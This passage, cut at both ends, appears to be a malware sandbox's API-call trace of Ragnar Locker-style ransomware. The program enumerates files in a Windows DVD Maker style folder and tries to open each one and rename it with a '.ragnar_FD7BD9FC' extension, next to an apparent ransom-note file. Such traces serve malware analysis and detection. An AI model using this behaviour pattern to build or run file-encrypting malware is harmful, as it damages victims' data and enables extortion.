hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ef9632, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ef9632, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xba2, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationButtonSubpicture.png", cAlternateFileName="")) returned 1 [0079.283] lstrcmpiW (lpString1="NavigationButtonSubpicture.png", lpString2=".") returned 1 [0079.283] lstrcmpiW (lpString1="NavigationButtonSubpicture.png", lpString2="..") returned 1 [0079.283] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ef9632, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ef9632, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xee0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NextMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0079.283] lstrcmpiW (lpString1="NextMenuButtonIcon.png", lpString2=".") returned 1 [0079.283] lstrcmpiW (lpString1="NextMenuButtonIcon.png", lpString2="..") returned 1 [0079.283] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f1f78f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f1f78f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xee2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ParentMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0079.283] lstrcmpiW (lpString1="ParentMenuButtonIcon.png", lpString2=".") returned 1 [0079.283] lstrcmpiW (lpString1="ParentMenuButtonIcon.png", lpString2="..") returned 1 [0079.283] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f1f78f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f1f78f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xeeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="PreviousMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0079.283] lstrcmpiW (lpString1="PreviousMenuButtonIcon.png", lpString2=".") returned 1 [0079.283] lstrcmpiW (lpString1="PreviousMenuButtonIcon.png", lpString2="..") returned 1 [0079.283] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x817f2a00, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x817f2a00, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0079.283] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0079.283] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0079.283] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f458ec, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f458ec, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3d, dwReserved0=0x0, dwReserved1=0x0, cFileName="SceneButtonInset_Alpha1.png", cAlternateFileName="")) returned 1 [0079.283] lstrcmpiW (lpString1="SceneButtonInset_Alpha1.png", lpString2=".") returned 1 [0079.283] lstrcmpiW (lpString1="SceneButtonInset_Alpha1.png", lpString2="..") returned 1 [0079.283] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f6ba49, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f6ba49, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="SceneButtonInset_Alpha2.png", cAlternateFileName="")) returned 1 [0079.283] lstrcmpiW (lpString1="SceneButtonInset_Alpha2.png", lpString2=".") returned 1 [0079.283] lstrcmpiW (lpString1="SceneButtonInset_Alpha2.png", lpString2="..") returned 1 [0079.283] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71e8721b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71e8721b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SceneButtonSubpicture.png", cAlternateFileName="")) returned 1 [0079.283] lstrcmpiW (lpString1="SceneButtonSubpicture.png", lpString2=".") returned 1 [0079.284] lstrcmpiW (lpString1="SceneButtonSubpicture.png", lpString2="..") returned 1 [0079.284] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71893b93, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71893b93, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x500e57b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x539540, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainBackground.wmv", cAlternateFileName="")) returned 1 [0079.284] lstrcmpiW (lpString1="SportsMainBackground.wmv", lpString2=".") returned 1 [0079.284] lstrcmpiW (lpString1="SportsMainBackground.wmv", lpString2="..") returned 1 [0079.284] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71aa8ea9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71aa8ea9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x502ae81f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x57bbc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0079.284] lstrcmpiW (lpString1="SportsMainBackground_PAL.wmv", lpString2=".") returned 1 [0079.284] lstrcmpiW (lpString1="SportsMainBackground_PAL.wmv", lpString2="..") returned 1 [0079.284] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71c25c4b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71c25c4b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x50320c39, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1beae6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainToNotesBackground.wmv", cAlternateFileName="")) returned 1 [0079.284] lstrcmpiW (lpString1="SportsMainToNotesBackground.wmv", lpString2=".") returned 1 [0079.284] lstrcmpiW (lpString1="SportsMainToNotesBackground.wmv", lpString2="..") returned 1 [0079.284] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71cbe1bf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71cbe1bf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x50393053, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c0a26, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainToNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0079.284] lstrcmpiW (lpString1="SportsMainToNotesBackground_PAL.wmv", lpString2=".") returned 1 [0079.284] lstrcmpiW (lpString1="SportsMainToNotesBackground_PAL.wmv", lpString2="..") returned 1 [0079.284] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71d7c890, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71d7c890, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x504c3b43, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x184166, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainToScenesBackground.wmv", cAlternateFileName="")) returned 1 [0079.284] lstrcmpiW (lpString1="SportsMainToScenesBackground.wmv", lpString2=".") returned 1 [0079.284] lstrcmpiW (lpString1="SportsMainToScenesBackground.wmv", lpString2="..") returned 1 [0079.284] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71deeca7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71deeca7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x50add351, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x189f26, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainToScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0079.284] lstrcmpiW (lpString1="SportsMainToScenesBackground_PAL.wmv", lpString2=".") returned 1 [0079.284] lstrcmpiW (lpString1="SportsMainToScenesBackground_PAL.wmv", lpString2="..") returned 1 [0079.284] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x713aae96, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x713aae96, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x514fb049, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6680f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsNotesBackground.wmv", cAlternateFileName="")) returned 1 [0079.284] lstrcmpiW (lpString1="SportsNotesBackground.wmv", lpString2=".") returned 1 [0079.284] lstrcmpiW (lpString1="SportsNotesBackground.wmv", lpString2="..") returned 1 [0079.284] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71501adb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71501adb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5206f98f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x673c74, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0079.284] lstrcmpiW (lpString1="SportsNotesBackground_PAL.wmv", lpString2=".") returned 1 [0079.284] lstrcmpiW (lpString1="SportsNotesBackground_PAL.wmv", lpString2="..") returned 1 [0079.284] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x716a49da, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x716a49da, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x522f70cd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2ca474, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsScenesBackground.wmv", cAlternateFileName="")) returned 1 [0079.284] lstrcmpiW (lpString1="SportsScenesBackground.wmv", lpString2=".") returned 1 [0079.284] lstrcmpiW (lpString1="SportsScenesBackground.wmv", lpString2="..") returned 1 [0079.284] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71789208, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71789208, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x524e6293, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2e59f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0079.284] lstrcmpiW (lpString1="SportsScenesBackground_PAL.wmv", lpString2=".") returned 1 [0079.284] lstrcmpiW (lpString1="SportsScenesBackground_PAL.wmv", lpString2="..") returned 1 [0079.284] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71384d39, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71384d39, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x23d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="sports_disc_mask.png", cAlternateFileName="")) returned 1 [0079.284] lstrcmpiW (lpString1="sports_disc_mask.png", lpString2=".") returned 1 [0079.285] lstrcmpiW (lpString1="sports_disc_mask.png", lpString2="..") returned 1 [0079.285] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71384d39, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71384d39, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x23d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="sports_disc_mask.png", cAlternateFileName="")) returned 0 [0079.285] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0079.285] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x817f2a00, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x817f2a00, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0079.285] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x817f2a00, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x817f2a00, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.285] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ead378, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ead378, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CircleSubpicture.png", cAlternateFileName="")) returned 1 [0079.285] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3a [0079.285] lstrcpyW (in: lpString1=0x1eab56, lpString2="CircleSubpicture.png" | out: lpString1="CircleSubpicture.png") returned="CircleSubpicture.png" [0079.285] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\CircleSubpicture.png") returned=".png" [0079.285] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\CircleSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\circlesubpicture.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.285] CloseHandle (hObject=0xffffffff) returned 0 [0079.285] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\CircleSubpicture.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\CircleSubpicture.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\CircleSubpicture.png" [0079.285] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\CircleSubpicture.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\CircleSubpicture.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\CircleSubpicture.png.ragnar_FD7BD9FC" [0079.285] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\CircleSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\circlesubpicture.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\CircleSubpicture.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\circlesubpicture.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.286] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ed34d5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ed34d5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x120d, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoldRing.png", cAlternateFileName="")) returned 1 [0079.286] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3a [0079.286] lstrcpyW (in: lpString1=0x1eab56, lpString2="GoldRing.png" | out: lpString1="GoldRing.png") returned="GoldRing.png" [0079.286] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\GoldRing.png") returned=".png" [0079.286] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\GoldRing.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\goldring.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.286] CloseHandle (hObject=0xffffffff) returned 0 [0079.287] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\GoldRing.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\GoldRing.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\GoldRing.png" [0079.287] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\GoldRing.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\GoldRing.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\GoldRing.png.ragnar_FD7BD9FC" [0079.287] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\GoldRing.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\goldring.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\GoldRing.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\goldring.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.287] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71338a7f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71338a7f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6d3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="highlight.png", cAlternateFileName="")) returned 1 [0079.287] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3a [0079.287] lstrcpyW (in: lpString1=0x1eab56, lpString2="highlight.png" | out: lpString1="highlight.png") returned="highlight.png" [0079.287] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\highlight.png") returned=".png" [0079.287] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\highlight.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.287] CloseHandle (hObject=0xffffffff) returned 0 [0079.287] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\highlight.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\highlight.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\highlight.png" [0079.287] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\highlight.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\highlight.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\highlight.png.ragnar_FD7BD9FC" [0079.287] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\highlight.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\highlight.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\highlight.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.287] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ef9632, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ef9632, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xba2, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationButtonSubpicture.png", cAlternateFileName="")) returned 1 [0079.287] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3a [0079.287] lstrcpyW (in: lpString1=0x1eab56, lpString2="NavigationButtonSubpicture.png" | out: lpString1="NavigationButtonSubpicture.png") returned="NavigationButtonSubpicture.png" [0079.287] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NavigationButtonSubpicture.png") returned=".png" [0079.288] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NavigationButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\navigationbuttonsubpicture.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.288] CloseHandle (hObject=0xffffffff) returned 0 [0079.288] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NavigationButtonSubpicture.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD 